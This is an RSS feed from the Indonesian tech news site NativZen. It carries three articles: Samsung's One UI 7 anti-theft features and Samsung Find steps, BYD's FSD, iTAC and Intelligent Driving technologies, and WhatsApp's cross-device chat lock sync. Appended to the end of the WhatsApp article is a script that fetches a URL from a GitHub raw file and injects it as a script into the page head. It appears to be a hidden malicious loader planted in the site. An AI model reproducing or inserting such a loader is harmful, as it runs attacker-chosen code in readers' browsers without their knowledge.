<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>fitur keamanan &#8211; NativZen</title>
	<atom:link href="https://nativzen.com/tag/fitur-keamanan/feed/" rel="self" type="application/rss+xml" />
	<link>https://nativzen.com</link>
	<description>Berita gadget dan teknologi terbaru</description>
	<lastBuildDate>Fri, 01 Aug 2025 06:18:48 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.5.5</generator>

<image>
	<url>https://nativzen.com/wp-content/uploads/2025/02/cropped-NZ_icon_no_BG-32x32.png</url>
	<title>fitur keamanan &#8211; NativZen</title>
	<link>https://nativzen.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Begini Cara Bikin Smartphone Samsung Tetap Aman di Genggaman</title>
		<link>https://nativzen.com/2025/08/01/begini-cara-bikin-smartphone-samsung-tetap-aman-di-genggaman/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Fri, 01 Aug 2025 06:18:37 +0000</pubDate>
				<category><![CDATA[HOW TO]]></category>
		<category><![CDATA[fitur anti-maling]]></category>
		<category><![CDATA[fitur keamanan]]></category>
		<category><![CDATA[one ui 7]]></category>
		<category><![CDATA[samsung]]></category>
		<category><![CDATA[smartphone samsung]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=21101</guid>

					<description><![CDATA[Samsung memperkenalkan pembaruan keamanan untuk memberikan perlindungan lebih bagi pengguna Galaxy jika ponsel mereka dicuri. ]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Seiring meningkatnya kasus pencurian ponsel di seluruh dunia, para pengguna Galaxy dihimbau untuk segera mengaktifkan fitur anti-maling terbaru yang tersedia di perangkat mereka. </p>



<p>Pembaruan ini mencerminkan komitmen Samsung dalam menghadirkan perlindungan yang lebih cerdas dan lebih kuat – membantu pengguna untuk menjaga keamanan data dan tetap memegang kendali, bahkan dalam keadaan berisiko tinggi.</p>



<p><a href="https://news.samsung.com/id/samsung-one-ui-7-era-baru-keamanan-dan-privasi-smartphone" target="_blank" rel="noreferrer noopener">One UI 7</a> di ponsel Samsung Galaxy menghadirkan sistem keamanan yang sudah di upgrade, termasuk penambahan fitur perlindungan terhadap pencurian dan perampasan. Fitur terbaru ini pertama kali tersedia mulai dari diperkenalkannya dalam peluncuran Galaxy S25 series.</p>



<p>Samsung memperkenalkan <a href="https://news.samsung.com/id/begini-tiga-cara-galaxy-melindungi-ponselmu-setiap-saat" target="_blank" rel="noreferrer noopener">pembaruan keamanan</a> untuk memberikan perlindungan lebih bagi pengguna Galaxy jika ponsel mereka dicuri. Salah satu fitur utama yang diperbaharui adalah <strong>Theft Protection.</strong></p>



<p>Ini adalah sebuah perlindungan berlapis yang dirancang untuk menjaga keamanan data pribadi, bahkan dalam kondisi risiko tinggi seperti perampokan. Fitur Theft Protection dikembangkan di atas sistem keamanan bawaan Android, yang selama ini efektif dalam kondisi pencurian biasa.</p>



<p>Namun, dengan One UI 7, Samsung selangkah lebih maju dengan menambahkan perlindungan ekstra guna mengantisipasi ancaman yang lebih berisiko tinggi, contohnya ketika informasi login pengguna mungkin sudah tersebar.</p>



<p>Pengguna Galaxy juga kini dapat mengaktifkan berbagai fitur keamanan baru, termasuk Identity Check, dirancang untuk memberikan perlindungan lebih kuat dalam situasi pencurian yang kompleks. </p>



<p>Fitur-fitur ini merespons secara otomatis dan cerdas terhadap aktivitas yang mencurigakan, memastikan data pribadi tetap aman dan terkendali pada saat saat krusial. Beberapa fitur Theft Protection yang sudah ada dan diperbaharui meliputi:</p>



<ul>
<li><strong>Theft Detection Lock: </strong>Menggunakan machine learning untuk mendeteksi gerakan mencurigakan yang diasosiasikan dengan aksi pencurian, lalu secara otomatis mengunci layar guna mencegah akses ilegal.</li>



<li><strong>Offline Device Lock:</strong> Jika perangkat terputus dari jaringan seluler dalam waktu tertentu, sistem akan mengunci layar otomatis, memastikan keamanan tetap terjaga meski perangkat dalam keadaan offline.</li>



<li><strong>Remote Lock</strong>: Jika perangkat sudah dicuri, pengguna dapat mengunci ponsel dari jarak jauh menggunakan nomor telepon dan langkah verifikasi cepat. Fitur ini membantu pengguna mengambil kendali atas akun dan mencoba opsi pemulihan lainnya.</li>
</ul>



<p><strong>Fitur Anti-pencurian baru di One UI 7 termasuk:</strong></p>



<ul>
<li><strong>Identity Check: </strong>Saat pengguna berada di lokasi asing, fitur ‘Safe Places’ akan meminta autentikasi biometrik untuk setiap perubahan pada pengaturan keamanan sensitif, memberikan perlindungan ekstra ketika PIN mungkin sudah diketahui.</li>



<li><strong>Security Delay:</strong> Sebagai bagian utama dari Identity Check, fitur ini mengaktifkan jeda keamanan selama satu jam jika ada yang mencoba mengatur ulang data biometrik. Jeda waktu ini sangat penting agar pengguna dapat mengunci perangkatnya yang hilang melalui perangkat yang sudah terkoneksi, seperti PC atau tablet, sebelum diakses oleh pencuri.</li>
</ul>



<h3 class="wp-block-heading"><strong>Begini Cara Melacak Perangkat Galaxy Kamu</strong></h3>



<p>Jika perangkat kamu dalam keadaan menyala dan terhubung ke Wi-Fi atau data seluler, lokasi terakhirnya akan muncul di peta.</p>



<ul>
<li>Kunjungi website <a href="https://samsungfind.samsung.com/" target="_blank" rel="noreferrer noopener">Samsung Find</a></li>



<li>Masuk menggunakan akun Samsung yang terpasang di perangkat</li>



<li>Jika ada beberapa perangkat terhubung ke akun kamu, semuanya akan terlihat – pilih perangkat yang ingin kamu lacak</li>



<li>Lokasi saat ini atau terakhir perangkat akan ditampilkan di layar</li>
</ul>



<p><strong>Fitur Lain yang Bisa Diakses dari Jarak Jauh:</strong></p>



<ul>
<li><strong>Ring</strong>: Atur perangkat kamu berdering meski dalam mode senyap atau getar.</li>



<li><strong>Extend battery life</strong>: Aktifkan mode hemat daya untuk memperpanjang masa aktif perangkat, meningkatkan peluang perangkat ditemukan.</li>



<li><strong>Track Location: </strong>Aktifkan pelacakan lokasi secara real-time dan lokasi ponsel akan diperbarui setiap 15 menit hingga pelacakan dihentikan.</li>
</ul>



<h3 class="wp-block-heading"><strong>Cara Mengunci Samsung Galaxy dari Jarak Jauh</strong></h3>



<ul>
<li>Masuk ke layanan <a href="https://samsungfind.samsung.com/" target="_blank" rel="noreferrer noopener">Samsung Find</a> menggunakan akun Samsung kamu</li>



<li>Pilih perangkat kamu di sisi kiri halaman, lalu klik opsi Lost Mode pada bagian detail perangkat.</li>



<li>Buat PIN untuk membuka perangkat jika berhasil ditemukan kembali, lalu masukkan PIN tersebut dua kali untuk konfirmasi.</li>



<li>Kamu akan diberi opsi untuk menambahkan kontak darurat dan pesan khusus yang akan ditampilkan di layar kunci.</li>



<li>Setelah siap, klik tombol Lock dan verifikasi akun Samsung kamu untuk mengaktifkan Lost Mode.</li>



<li>Jika perangkat berhasil ditemukan, kamu dapat membukanya kembali menggunakan PIN yang dibuat saat mengaktifkan Lost Mode.</li>
</ul>



<p>Pembaruan fitur anti-pencurian ini mulai tersedia untuk perangkat flagship Samsung sebelumnya, seperti Galaxy S24 series, Z Fold6, Z Flip6, Z Fold5, Z Flip5, serta S24 dan S22 series. Ke depannya pembaruan ini juga akan diperluas ke lebih banyak perangkat Galaxy lainnya.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>BYD Ungkap 3 Teknologi Unggulan Berkendara yang Aman dan Nyaman</title>
		<link>https://nativzen.com/2025/02/17/byd-ungkap-3-teknologi-unggulan-berkendara-yang-aman-dan-nyaman/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Mon, 17 Feb 2025 12:44:11 +0000</pubDate>
				<category><![CDATA[BUSINESS]]></category>
		<category><![CDATA[byd]]></category>
		<category><![CDATA[fitur keamanan]]></category>
		<category><![CDATA[fitur unggulan]]></category>
		<category><![CDATA[mobil listrik]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=16314</guid>

					<description><![CDATA[Ketiga teknologi tersebut adalah FSD Shock Absorbers, iTAC, dan Intelligent Driving yang masih terus dikembangkan oleh BYD.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; PT BYD Motor Indonesia, pabrikan mobil listrik alias electric vehicle asal Tiongkok yang ikut meramaikan gelaran IIMS 2025 di Jakarta International Expo, Kemayoran mengumbar tiga teknologi terkini terkait keamanan dan kenyamanan untuk para penggunanya.</p>



<p>Ketiga teknologi tersebut yang diungkap dalam acara Technology Talk (2025) adalah Frequency Selective Damping (FSD) Shock Absorbers, intelligent Torque Adaption Control (iTAC), dan Intelligent Driving.</p>



<p>Seperti dijelaskan oleh Narendro Bawono Cahyolaksono, Product Planning Assistant Manager PT BYD Motor Indonesia bahwa FSD dan iTAC sudah ada di model high-end BYD, dan akan meningkatkan keamanan serta kenyamanan berkendara pengemudi mobil listrik BYD.</p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="776" src="https://nativzen.com/wp-content/uploads/2025/02/20250217_131328-1024x776.jpg" alt="" class="wp-image-16315" srcset="https://nativzen.com/wp-content/uploads/2025/02/20250217_131328-1024x776.jpg 1024w, https://nativzen.com/wp-content/uploads/2025/02/20250217_131328-300x227.jpg 300w, https://nativzen.com/wp-content/uploads/2025/02/20250217_131328-768x582.jpg 768w, https://nativzen.com/wp-content/uploads/2025/02/20250217_131328-1536x1163.jpg 1536w, https://nativzen.com/wp-content/uploads/2025/02/20250217_131328-2048x1551.jpg 2048w, https://nativzen.com/wp-content/uploads/2025/02/20250217_131328-370x280.jpg 370w, https://nativzen.com/wp-content/uploads/2025/02/20250217_131328-270x204.jpg 270w, https://nativzen.com/wp-content/uploads/2025/02/20250217_131328-570x432.jpg 570w, https://nativzen.com/wp-content/uploads/2025/02/20250217_131328-740x560.jpg 740w, https://nativzen.com/wp-content/uploads/2025/02/20250217_131328-80x60.jpg 80w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>&#8220;FSD adalah sistem suspensi yang dirancang untuk menyesuaikan tingkat peredaman berdasarkan frekuensi getaran yang diterima oleh ban. Ini berkaitan erat dengan kondisi jalan dan kecepatan kendaraan,&#8221; jelas Narendro.</p>



<p>Lebih lanjut, Narendro menambahkan bahwa dengan adanya fitur ini, ban mobil akan lebih melekat ke jalan. Dengan kata lain, mobil yang sudah dilengkapi fitur ini akan lebih aman dikendarai pengguna dan mudah dikendalikan.</p>



<p>&#8220;Di Indonesia, infrastruktur jalan raya sudah lebih baik. Ada jalan tol atau jalanan yang cepat. Tantangan saat berkendara di jalan seperti itu adalah hujan deras, sehingga membuat jalan menjadi licin. Kehadiran fitur FSD ini tentunya sangat membantu,&#8221; tambah Narendro.</p>



<p>Lantas, apa itu fitur intelligent Torque Adaption Control (iTAC), yang juga sudah bisa ditemukan pada mobil listrik besutan BYD? Dijelaskan oleh Narendro bahwa fitur ini memiliki perbedaan dari sisi sensor.</p>



<p>&#8220;iTAC mengikuti putaran dari motor listrik. Karena menggunakan AWD (all wheel drive), maka sensornya ada di depan dan belakang. Jadi, tahu mana yang dibutuhkan torsi lebih, antar di depan dan belakang,&#8221; jelas Narendro. </p>



<p>Nah, bagi konsumen yang tertarik dengan fitur FSD, bisa merasakannya pada BYD Sealion 7 varian premium dan performance. Sementara, fitur iTAC ini ada di varian AWD atau perfomance pada model Seal atau Sealion 7.</p>



<p>Fitur yang tak kalah menarik, yang juga diumbar oleh BYD adalah Intelligent Driving. Meski belum diimplementasikan pada mobil listrik buatannya, BYD sudah memperkenalkan fitur ini di Tiongkok beberapa pekan lalu.</p>



<p>Di Tiongkok, BYD menyebutnya ini adalah sistem autopilot &#8216;God&#8217;s Eye&#8217; alias &#8216;Mata Dewa&#8217;. Fitur ini tidak lepas dari penggunaan perangkat lunak atau software. Oleh karena itu, Intelligent Driving akan diaplikasikan secara penuh ke dalam mobil listrik BYD selanjutnya.</p>



<p>Menariknya lagi, dalam pengembangan fitur Intelligent Driving ini BYD bergandengan tangan dengan penyedia layanan teknologi AI yang juga berasal dari Tiongkok dan sedang menjadi bahan perbicangan banyak orang, yakni Deepseek.</p>



<p>Ya, kemitraan dengan Deepseek ini diyakini akan menghasilkan mobil listrik BYD yang lebih canggih, sehingga bisa lebih menyempurnakan sistem otonom. Dengan kata lain, memang teknologi Intelligent Driving yang sedang dikembangkan oleh BYD sudah ada di depan mata.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Perkuat Privasi Pengguna, WhatsApp Siap Luncurkan Fitur Baru</title>
		<link>https://nativzen.com/2024/02/12/perkuat-privasi-pengguna-whatsapp-siap-luncurkan-fitur-baru/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Mon, 12 Feb 2024 01:36:18 +0000</pubDate>
				<category><![CDATA[Apps & OS]]></category>
		<category><![CDATA[NEWS]]></category>
		<category><![CDATA[chat lock]]></category>
		<category><![CDATA[fitur keamanan]]></category>
		<category><![CDATA[secret lock]]></category>
		<category><![CDATA[whatsapp]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=3786</guid>

					<description><![CDATA[WhatsApp, aplikasi perpesanan milik Meta yang banyak digunakan, sedang mengerjakan fitur keamanan baru untuk lebih memperkuat privasi pengguna.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; WhatsApp, aplikasi perpesanan milik Meta yang banyak digunakan, sedang mengerjakan fitur keamanan baru untuk lebih memperkuat privasi pengguna. Fitur baru ini akan menyinkronkan kunci obrolan di semua perangkat yang terhubung ke akun kamu.</p>



<p>Sederhananya, jika kamu memutuskan untuk mengunci percakapan di ponsel pintar yang digunakan, kunci tersebut juga akan diterapkan pada percakapan yang sama ketika diakses melalui WhatsApp di komputer, tablet, atau perangkat tertaut lainnya. </p>



<p>Pembaruan yang menarik ini pertama kali diketahui oleh WABetaInfo, sumber terpercaya untuk pembaruan WhatsApp. Itu ditemukan dalam pembaruan WhatsApp beta terbaru untuk Android 2.24.4.14, dapat diunduh untuk semua penguji beta terdaftar melalui Play Store.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="281" height="628" src="https://nativzen.com/wp-content/uploads/2024/02/WhatsApp-chat-lock.webp" alt="" class="wp-image-3788" srcset="https://nativzen.com/wp-content/uploads/2024/02/WhatsApp-chat-lock.webp 281w, https://nativzen.com/wp-content/uploads/2024/02/WhatsApp-chat-lock-134x300.webp 134w, https://nativzen.com/wp-content/uploads/2024/02/WhatsApp-chat-lock-270x603.webp 270w" sizes="(max-width: 281px) 100vw, 281px" /></figure></div>


<p>Pada tahun lalu WhatsApp memperkenalkan kemampuan untuk mengunci obrolan tertentu. Kemudian, WhatsApp memperkenalkan fitur lain yang disebut Secret Lock, yang memungkinkan pengguna menyetel kata sandi unik, yang berbeda dari kata sandi pada perangkat mereka. </p>



<p>Untuk kamu yang belum tahu, kata sandi tersebut akan menyembunyikan folder obrolan yang Terkunci, sehingga tidak terlihat oleh siapa pun yang tidak mengetahui kodenya. Namun, fitur ini punya kelemahan, yakni pengaturannya khusus untuk perangkat. </p>



<p>Artinya, kunci ini harus diatur secara terpisah di setiap perangkatâ€”komputer dan ponsel pintar yang kamu gunakanâ€”dan tidak disinkronkan secara otomatis. Perubahan mendatang akan menyederhanakan proses tersebut, dan secara otomatis memperluas pilihan keamanan.</p>



<p>Lantas, kapan fitur kunci obrolan yang ditingkatkan kemampuannya itu akan diluncurkan. Terkait dengan hal itu, WhatsApp belum buka suara, dan WABetaInfo memperkirakan fitur tersebut akan diluncurkan pada pembaruan WhatsApp mendatang.</p>



<p>Dalam berita terkait, WhatsApp baru-baru ini telah mengonfirmasi akan mengizinkan pengiriman pesan lintas platform melalui platformnya. Artinya pengguna akan bisa mengirim pesan antara WhatsApp, Telegram, atau Signal, dan sebaliknya. Namun, kemungkinan besar fitur ini hanya akan tersedia di kawasan Eropa.</p>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
